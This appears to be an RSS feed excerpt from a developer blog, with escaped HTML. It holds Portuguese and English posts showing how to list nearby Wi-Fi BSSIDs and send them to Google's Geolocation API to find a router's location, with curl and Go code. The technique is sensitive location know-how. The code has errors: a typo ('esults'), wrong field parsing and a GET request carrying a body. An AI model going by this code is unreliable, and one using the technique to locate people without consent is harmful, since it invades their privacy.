    &lt;span class="n"&gt;postjson&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"wifiAccessPoints"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="k"&gt;map&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="k"&gt;interface&lt;/span&gt;&lt;span class="p"&gt;{}{}&lt;/span&gt;&lt;br&gt;
    &lt;span class="n"&gt;hotspots&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;getWifiMacAddresses&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;span class="k"&amp;gt;for&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;addr&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;,&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;info&amp;lt;/span&amp;gt; &amp;lt;span class="o"&amp;gt;:=&amp;lt;/span&amp;gt; &amp;lt;span class="k"&amp;gt;range&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;hotspots&amp;lt;/span&amp;gt; &amp;lt;span class="p"&amp;gt;{&amp;lt;/span&amp;gt;
    &amp;lt;span class="n"&amp;gt;signalStrength&amp;lt;/span&amp;gt; &amp;lt;span class="o"&amp;gt;:=&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;info&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;[&amp;lt;/span&amp;gt;&amp;lt;span class="s"&amp;gt;"signalStrength"&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;]&amp;lt;/span&amp;gt;
    &amp;lt;span class="n"&amp;gt;postjson&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;[&amp;lt;/span&amp;gt;&amp;lt;span class="s"&amp;gt;"wifiAccessPoints"&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;]&amp;lt;/span&amp;gt; &amp;lt;span class="o"&amp;gt;=&amp;lt;/span&amp;gt; &amp;lt;span class="nb"&amp;gt;append&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;postjson&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;[&amp;lt;/span&amp;gt;&amp;lt;span class="s"&amp;gt;"wifiAccessPoints"&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;]&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;([]&amp;lt;/span&amp;gt;&amp;lt;span class="k"&amp;gt;map&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;[&amp;lt;/span&amp;gt;&amp;lt;span class="kt"&amp;gt;string&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;]&amp;lt;/span&amp;gt;&amp;lt;span class="k"&amp;gt;interface&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;{}),&amp;lt;/span&amp;gt; &amp;lt;span class="k"&amp;gt;map&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;[&amp;lt;/span&amp;gt;&amp;lt;span class="kt"&amp;gt;string&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;]&amp;lt;/span&amp;gt;&amp;lt;span class="k"&amp;gt;interface&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;{}{&amp;lt;/span&amp;gt;
        &amp;lt;span class="s"&amp;gt;"macAddress"&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;:&amp;lt;/span&amp;gt;     &amp;lt;span class="n"&amp;gt;addr&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;,&amp;lt;/span&amp;gt;
        &amp;lt;span class="s"&amp;gt;"signalStrength"&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;:&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;signalStrength&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;,&amp;lt;/span&amp;gt;
    &amp;lt;span class="p"&amp;gt;})&amp;lt;/span&amp;gt;
&amp;lt;span class="p"&amp;gt;}&amp;lt;/span&amp;gt;

&amp;lt;span class="n"&amp;gt;googleMapsAPIkey&amp;lt;/span&amp;gt; &amp;lt;span class="o"&amp;gt;:=&amp;lt;/span&amp;gt; &amp;lt;span class="s"&amp;gt;"your_google_maps_api_key"&amp;lt;/span&amp;gt;
&amp;lt;span class="n"&amp;gt;url&amp;lt;/span&amp;gt; &amp;lt;span class="o"&amp;gt;:=&amp;lt;/span&amp;gt; &amp;lt;span class="s"&amp;gt;"https://www.googleapis.com/geolocation/v1/geolocate?key="&amp;lt;/span&amp;gt; &amp;lt;span class="o"&amp;gt;+&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;googleMapsAPIkey&amp;lt;/span&amp;gt;

&amp;lt;span class="n"&amp;gt;data&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;,&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;err&amp;lt;/span&amp;gt; &amp;lt;span class="o"&amp;gt;:=&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;json&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;Marshal&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;postjson&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;)&amp;lt;/span&amp;gt;
&amp;lt;span class="k"&amp;gt;if&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;err&amp;lt;/span&amp;gt; &amp;lt;span class="o"&amp;gt;!=&amp;lt;/span&amp;gt; &amp;lt;span class="no"&amp;gt;nil&amp;lt;/span&amp;gt; &amp;lt;span class="p"&amp;gt;{&amp;lt;/span&amp;gt;
    &amp;lt;span class="n"&amp;gt;log&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;Fatal&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;err&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;)&amp;lt;/span&amp;gt;
&amp;lt;span class="p"&amp;gt;}&amp;lt;/span&amp;gt;

&amp;lt;span class="n"&amp;gt;response&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;,&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;err&amp;lt;/span&amp;gt; &amp;lt;span class="o"&amp;gt;:=&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;http&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;Post&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;url&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;,&amp;lt;/span&amp;gt; &amp;lt;span class="s"&amp;gt;"application/json"&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;,&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;bytes&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;NewBuffer&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;data&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;))&amp;lt;/span&amp;gt;
&amp;lt;span class="k"&amp;gt;if&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;err&amp;lt;/span&amp;gt; &amp;lt;span class="o"&amp;gt;!=&amp;lt;/span&amp;gt; &amp;lt;span class="no"&amp;gt;nil&amp;lt;/span&amp;gt; &amp;lt;span class="p"&amp;gt;{&amp;lt;/span&amp;gt;
    &amp;lt;span class="n"&amp;gt;log&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;Fatal&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;err&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;)&amp;lt;/span&amp;gt;
&amp;lt;span class="p"&amp;gt;}&amp;lt;/span&amp;gt;

&amp;lt;span class="k"&amp;gt;defer&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;response&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;Body&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;Close&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;()&amp;lt;/span&amp;gt;

&amp;lt;span class="k"&amp;gt;var&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;result&amp;lt;/span&amp;gt; &amp;lt;span class="k"&amp;gt;map&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;[&amp;lt;/span&amp;gt;&amp;lt;span class="kt"&amp;gt;string&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;]&amp;lt;/span&amp;gt;&amp;lt;span class="k"&amp;gt;interface&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;{}&amp;lt;/span&amp;gt;
&amp;lt;span class="n"&amp;gt;json&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;NewDecoder&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;response&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;Body&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;)&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;Decode&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;&amp;amp;amp;&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;result&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;)&amp;lt;/span&amp;gt;

&amp;lt;span class="n"&amp;gt;fmt&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;Println&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;result&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;)&amp;lt;/span&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/p&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h2&gt;
&lt;br&gt;
  &lt;br&gt;
  &lt;br&gt;
  Conclusion&lt;br&gt;
&lt;/h2&gt;

&lt;p&gt;In this blog post, we explored how to use the Go programming language to automate the retrieval of Wi-Fi MAC addresses and leverage the Google Geolocation API. With the developed code, it's possible to obtain accurate information about nearby Wi-Fi routers and send them to the API, thereby obtaining an approximate location.&lt;/p&gt;

&lt;p&gt;I hope this was helpful. Until next time! (:&lt;/p&gt;

</description>
      <category>go</category>
      <category>security</category>
      <category>googlecloud</category>
      <category>google</category>
    </item>
    <item>
      <title>Descubra como usar o Google para localizar sua casa utilizando apenas o seu roteador Wi-Fi!</title>
      <dc:creator>Higor Diego</dc:creator>
      <pubDate>Sat, 27 May 2023 22:31:16 +0000</pubDate>
      <link>https://forem.com/higordiego/descubra-como-o-google-pode-localizar-sua-residencia-apenas-atraves-do-seu-roteador-wi-fi-2928</link>
      <guid>https://forem.com/higordiego/descubra-como-o-google-pode-localizar-sua-residencia-apenas-atraves-do-seu-roteador-wi-fi-2928</guid>
      <description>&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fik0lohvs37s1e8ptkefd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fik0lohvs37s1e8ptkefd.png" alt="Wifi Google"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Você sabia que o Google possui um mecanismo de busca de localização chamado "Wifi access point object"? Essa funcionalidade é descrita em detalhes na documentação, que você pode conferir clicando &lt;a href="https://developers.google.com/maps/documentation/geolocation/overview" rel="noopener noreferrer"&gt;aqui&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;É realmente incrível, não é mesmo? Vamos explorar mais esse recurso!&lt;/p&gt;

&lt;p&gt;Você já ouviu falar do &lt;strong&gt;BSSID&lt;/strong&gt;? Também conhecido como Basic Service Set Identifier, esse termo pode parecer complicado, mas na verdade é bastante útil para entender como funciona o seu roteador Wi-Fi. O &lt;strong&gt;BSSID&lt;/strong&gt; é como um "nome" exclusivo dado ao roteador, permitindo que seus dispositivos o identifiquem na rede.&lt;/p&gt;

&lt;p&gt;Imagine que o &lt;strong&gt;BSSID&lt;/strong&gt; é como um endereço &lt;strong&gt;MAC&lt;/strong&gt; para o seu roteador. Ele desempenha um papel fundamental ao permitir que seus dispositivos se conectem a ele de forma rápida e eficiente. Ao escanear as redes Wi-Fi disponíveis em seu dispositivo, você pode visualizar o &lt;strong&gt;BSSID&lt;/strong&gt; como uma combinação de letras e números.&lt;/p&gt;

&lt;p&gt;Por que isso é importante? Bem, compreender o &lt;strong&gt;BSSID&lt;/strong&gt; pode ser extremamente útil ao configurar ou solucionar problemas em sua rede sem fio. Ele ajuda a identificar o roteador específico ao qual você está se conectando, o que pode ser útil ao ajustar configurações ou solucionar problemas de conexão.&lt;/p&gt;

&lt;p&gt;Portanto, da próxima vez que você se deparar com o termo &lt;strong&gt;BSSID&lt;/strong&gt;, lembre-se de que ele se refere ao identificador exclusivo do seu roteador Wi-Fi. É um elemento-chave para garantir uma conexão estável e confiável em sua rede doméstica ou local de trabalho.&lt;/p&gt;

&lt;p&gt;Se você deseja visualizar os &lt;strong&gt;BSSID&lt;/strong&gt; dos roteadores Wi-Fi ao seu redor, temos um comando simples para você. Acompanhe:&lt;/p&gt;

&lt;p&gt;Abra o terminal e digite o seguinte comando:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; /System/Library/PrivateFrameworks/Apple80211.framework/Resources/airport &lt;span class="nt"&gt;-s&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;É importante executar o comando acima com permissões de administrador para garantir que você tenha acesso às informações necessárias. Por motivos de segurança, o BSSID não será exibido se você executar o comando sem as permissões adequadas.&lt;/p&gt;

&lt;p&gt;O output do terminal será parecido com esse:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;            SSID BSSID             RSSI CHANNEL HT CC SECURITY &lt;span class="o"&gt;(&lt;/span&gt;auth/unicast/group&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="s2"&gt;"confidencial"&lt;/span&gt; XX:5f:67:XX:c5:4d &lt;span class="nt"&gt;-81&lt;/span&gt;  8       Y  &lt;span class="nt"&gt;--&lt;/span&gt; RSN&lt;span class="o"&gt;(&lt;/span&gt;PSK/AES/AES&lt;span class="o"&gt;)&lt;/span&gt; 
    &lt;span class="s2"&gt;"confidencial"&lt;/span&gt; 00:31:92:XX:e7:36 &lt;span class="nt"&gt;-50&lt;/span&gt;  9       Y  &lt;span class="nt"&gt;--&lt;/span&gt; RSN&lt;span class="o"&gt;(&lt;/span&gt;PSK/AES/AES&lt;span class="o"&gt;)&lt;/span&gt; 
    &lt;span class="s2"&gt;"confidencial"&lt;/span&gt; cc:06:XX:db:e2:XX &lt;span class="nt"&gt;-50&lt;/span&gt;  4       Y  &lt;span class="nt"&gt;--&lt;/span&gt; RSN&lt;span class="o"&gt;(&lt;/span&gt;PSK/AES/AES&lt;span class="o"&gt;)&lt;/span&gt; 
        &lt;span class="s2"&gt;"confidencial"&lt;/span&gt; a4:XX:a4:ed:XX:7c &lt;span class="nt"&gt;-47&lt;/span&gt;  2       Y  BR WPA&lt;span class="o"&gt;(&lt;/span&gt;PSK/AES,TKIP/TKIP&lt;span class="o"&gt;)&lt;/span&gt; RSN&lt;span class="o"&gt;(&lt;/span&gt;PSK/AES,TKIP/TKIP&lt;span class="o"&gt;)&lt;/span&gt; 
&lt;span class="s2"&gt;"confidencial"&lt;/span&gt; cc:06:77:db:e2:84 &lt;span class="nt"&gt;-66&lt;/span&gt;  36,+1   Y  &lt;span class="nt"&gt;--&lt;/span&gt; RSN&lt;span class="o"&gt;(&lt;/span&gt;PSK/AES/AES&lt;span class="o"&gt;)&lt;/span&gt; 
    &lt;span class="s2"&gt;"confidencial"&lt;/span&gt; 00:31:XX:XX:e7:37 &lt;span class="nt"&gt;-57&lt;/span&gt;  48,-1   Y  BR RSN&lt;span class="o"&gt;(&lt;/span&gt;PSK/AES/AES&lt;span class="o"&gt;)&lt;/span&gt; 
  &lt;span class="s2"&gt;"confidencial"&lt;/span&gt;, fa:XX:ca:86:ca:96 &lt;span class="nt"&gt;-26&lt;/span&gt;  6       Y  &lt;span class="nt"&gt;--&lt;/span&gt; NONE
      &lt;span class="s2"&gt;"confidencial"&lt;/span&gt; a4:6d:a4:XX:33:XX &lt;span class="nt"&gt;-49&lt;/span&gt;  36      Y  BR WPA&lt;span class="o"&gt;(&lt;/span&gt;PSK/AES,TKIP/TKIP&lt;span class="o"&gt;)&lt;/span&gt; RSN&lt;span class="o"&gt;(&lt;/span&gt;PSK/AES,TKIP/TKIP&lt;span class="o"&gt;)&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Depois de obter o &lt;strong&gt;BSSID&lt;/strong&gt; do roteador Wi-Fi desejado, você pode utilizar a API do Google para obter dados de geolocalização precisa. Veja como fazer isso usando um comando simples no terminal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;--location&lt;/span&gt; &lt;span class="nt"&gt;--request&lt;/span&gt; GET &lt;span class="s1"&gt;'https://www.googleapis.com/geolocation/v1/geolocate?key=SuaChaveAPIAqui'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--header&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--data&lt;/span&gt; &lt;span class="s1"&gt;'{
    "wifiAccessPoints":[ 
        {
            "macAddress": "BSSIDDoRoteadorAqui" 
        }
    ]
}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Antes de prosseguir, é importante substituir &lt;strong&gt;"SuaChaveAPIAqui"&lt;/strong&gt; pela chave de API do Google que você pode obter ao criar uma conta de desenvolvedor no Google Cloud Platform. Certifique-se de adicionar a chave correta para garantir o acesso adequado à API.&lt;/p&gt;

&lt;p&gt;Ao executar o comando, o sistema enviará uma solicitação GET para a API do Google Geolocation, passando o &lt;strong&gt;BSSID&lt;/strong&gt; do roteador como parâmetro. Isso permitirá que o Google identifique a localização aproximada do roteador com base em suas informações de geolocalização.&lt;/p&gt;

&lt;p&gt;Além disso, ao analisar a estrutura dos exemplos de chamadas, você pode inserir vários endereços &lt;strong&gt;MAC&lt;/strong&gt; Wi-Fi juntamente com a intensidade do sinal. Dessa forma, a API utilizará técnicas de triangulação para fornecer uma localização ainda mais precisa.&lt;/p&gt;

&lt;p&gt;É interessante destacar que a API de geolocalização também pode encontrar locais com base em IDs de torres de celular. Isso significa que você pode obter informações precisas de localização mesmo quando não está conectado a uma rede Wi-Fi.&lt;/p&gt;

&lt;p&gt;Agora vamos criar um código para automatizar esse processo acima usando a linguagem golang.&lt;/p&gt;

&lt;p&gt;Segue o código abaixo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;package&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s"&gt;"bytes"&lt;/span&gt;
    &lt;span class="s"&gt;"encoding/json"&lt;/span&gt;
    &lt;span class="s"&gt;"fmt"&lt;/span&gt;
    &lt;span class="s"&gt;"log"&lt;/span&gt;
    &lt;span class="s"&gt;"net/http"&lt;/span&gt;
    &lt;span class="s"&gt;"os/exec"&lt;/span&gt;
    &lt;span class="s"&gt;"runtime"&lt;/span&gt;
    &lt;span class="s"&gt;"strings"&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;getWifiMacAddresses&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;map&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="k"&gt;map&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="n"&gt;results&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="kt"&gt;error&lt;/span&gt;

    &lt;span class="k"&gt;switch&lt;/span&gt; &lt;span class="n"&gt;runtime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GOOS&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s"&gt;"darwin"&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/System/Library/PrivateFrameworks/Apple80211.framework/Resources/airport"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"-s"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Output&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s"&gt;"windows"&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;esults&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"netsh"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"wlan"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"show"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"network"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Output&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s"&gt;"linux"&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
        &lt;span class="c"&gt;// results, err = exec.Command("iwlist", "scanning").Output()&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="n"&gt;macAddr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;make&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;map&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="k"&gt;map&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;lines&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;strings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TrimSpace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="k"&gt;range&lt;/span&gt; &lt;span class="n"&gt;lines&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;fields&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;strings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fields&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;addr&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;fields&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="n"&gt;db&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;fields&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
